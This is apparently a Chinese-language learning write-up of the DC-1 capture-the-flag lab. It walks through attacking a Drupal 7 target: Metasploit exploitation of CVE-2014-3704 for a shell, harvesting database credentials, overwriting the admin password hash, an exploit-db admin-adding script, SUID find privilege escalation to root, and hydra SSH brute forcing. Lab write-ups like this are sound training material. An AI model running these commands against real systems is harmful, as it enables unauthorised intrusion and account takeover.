渗透靶机DC-1复现过程
下载完靶机后,设置为NAT模式,即可开始测试。
相关过程:
- 信息搜集
- msf的漏洞探测
- msf的漏洞利用
- 提权
信息搜集
1.首先利用nmap探测目标机位置:
nmap -A 192.168.178.100/24
获知:
靶机ip地址:192.168.178.141
获取靶机指纹相关信息:
获知:
靶机使用的cms是Drupal 7
漏洞探测:
方法一:利用nmap的脚本探测出漏洞的CVE编号,在msf中查找相关漏洞
方法二:使用msf直接查找网站站点cms漏洞加以利用
方法一:
利用nmap的漏洞扫描脚本
nmap --script=vuln 192.168.178.141
发现一个sql注入的漏洞,cve编号为:CVE-2014-3704
利用msf搜索相关漏洞并利用:
成功进入:
方法二:直接搜索相关cms的漏洞:
search drupal
一个个尝试发现,2和4是可以反弹shell的,其余模块均不行,后续参数设置以及执行过程与方法一致。
对漏洞进行利用:
查看本地文件:
查看flag1:每一个好的cms都有一个配置文件,你也是。
下一步查找drupal 7的配置文件:
cd sites/default
cat settings.php
得到flag2的信息:暴力破解和字典攻击不是获得访问权限的唯一办法,你能用下面这些信息做什么呢?
尝试进入mysql后台
meterpreter模式下无法发现命令,更换shell外壳,发现无法回显
mysql -udbuser -pR0ck3t
发现靶机安装了python,使用pty.spawn()获得交互式shell
python -c ‘import pty; pty.spawn("/bin/bash")’
pty为虚拟终端模块,关联函数spawn解释如下:
pty.spawn(argv[, master_read[, stdin_read]])
生成一个进程,并将其控制终端连接到当前进程的标准 io。 这常被用来应对坚持要从控制终端读取数据的程序。 在 pty 背后生成的进程预期最后将被终止,而且当它被终止时 spawn 将会返回。
查看本地开放端口号,确定数据库类型:
netstat -an
可以看到相关信息:比如开放了3306端口(mysql的端口),mssql的端口是1433
相关知识普及:
recv-Q 表示:网络接收队列,表示收到的数据已经在本地接收缓冲,但是还有多少没有被进程取走,如果接收队列Recv-Q一直处于阻塞状态,可能是遭受了拒绝服务 denial-of-service 攻击。
send-Q 表示网路发送队列,对方没有收到的数据或者说没有Ack的,还是本地缓冲区,如果发送队列Send-Q不能很快的清零,可能是有应用向外发送数据包过快,或者是对方接收数据包不够快。
确定是mysql,利用交互shell进入mysql并查看数据库,这里注意进入mysql后输入信息的格式:
mysql -udbuser -pR0ck3t
show databases;
进入drupaldb数据库,查看users表(一般都含有用户的相关信息),查看用户信息。
use drupaldb;
show tables;
select * from users\G;
对于用户的登陆密码:
方法一:替换掉相关的密码;
方法二:增加一个新的用户账号和密码;
法一:
- 考虑生成一段明文为123123的密文,利用交互shell,使用php脚本生成想要的加密hash
php scripts/password-hash.sh 123123
- 在mysql中使用mysql命令更新admin用户hash
update drupaldb.users set
pass='$S$D.2yrmnSsb3pc.z1HR9A/Yqs9PM.A4wGU0aPxb1ixZfAMEN8rSva' where
name ='admin';
- 登陆目标网站查看信息
flag3:
注意加深的几个关键词,find 提权,利用perms参数 -exec命令查找shadow文件,shadow文件必须得root权限才能查看到
Special PERMS will help FIND the passwd - but you’ll need to -exec
that command to work out how to get what’s in the shadow.
法二:重新加入新密码
- 在msf爆破模块中存在一个攻击脚本,可以增加admin权限的用户账号
首先查看目标站点版本:
发现版本是7.24:
cat includes/bootstrap.inc | grep ‘VERSION’
找到相关增加admin的脚本
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t
http://192.168.178.141 -u admin123 -p admin123
尝试登陆:成功
同理得到flag3
开始提权,查找flag4
查看此时的权限
由flag3的提示,使用find 提权找到拥有SUID root权限的命令,成功找到find命令:
find / -perm -u=s -type f 2>/dev/null
或 find / -perm -4000
进行find提权:
-
先创建一个文件夹 hack1
-
提权
find / hack1 -exec ‘/bin/sh’ ;
可以看到看到shadow中加密的flag4
两种方法:
选择利用hydra和john对密码进行爆破
直接进入目录查看相关flag
方法一:
直接进入home目录内查看:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
按提示进入root目录
完成渗透。
方法二:
爆破
关键是提前通过信息搜集得到目标用户名,同时发现开放了22端口
- nmap之前扫描出两个端口:22和80
- 利用hydra和john爆破密码文本爆破ssh进入系统
- 这种方法可以适用于目标提权不成功的条件下
成功通过ssh爆破进入系统,同理查看flag,就不再演示。
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包
tar -xvf john-1.8.0.tar.gz #解压缩
cd john-1.8.0/ src #进入源码目录下
uname -a #查看当前系统版本
make linux-x86-64 #编译并指定当前的Linux系统版本
hydra -l flag4 -P password.lst ssh://192.168.178.141 -f -vV -o hydraflag4.ssh
hydra爆破基本模板:
利用ssh登陆进入flag4用户的目录,后续升级权限依然可以用find提权
至此结束,很多地方借鉴大佬的,理解可能还不到位,望各位大佬指点。
学习体会:
- 学到了不熟悉的hydra+john爆破
- 学到了提权的基本姿势
- python条件下的交互shell设置
- 明白了基本的渗透测试流程
继续努力加油!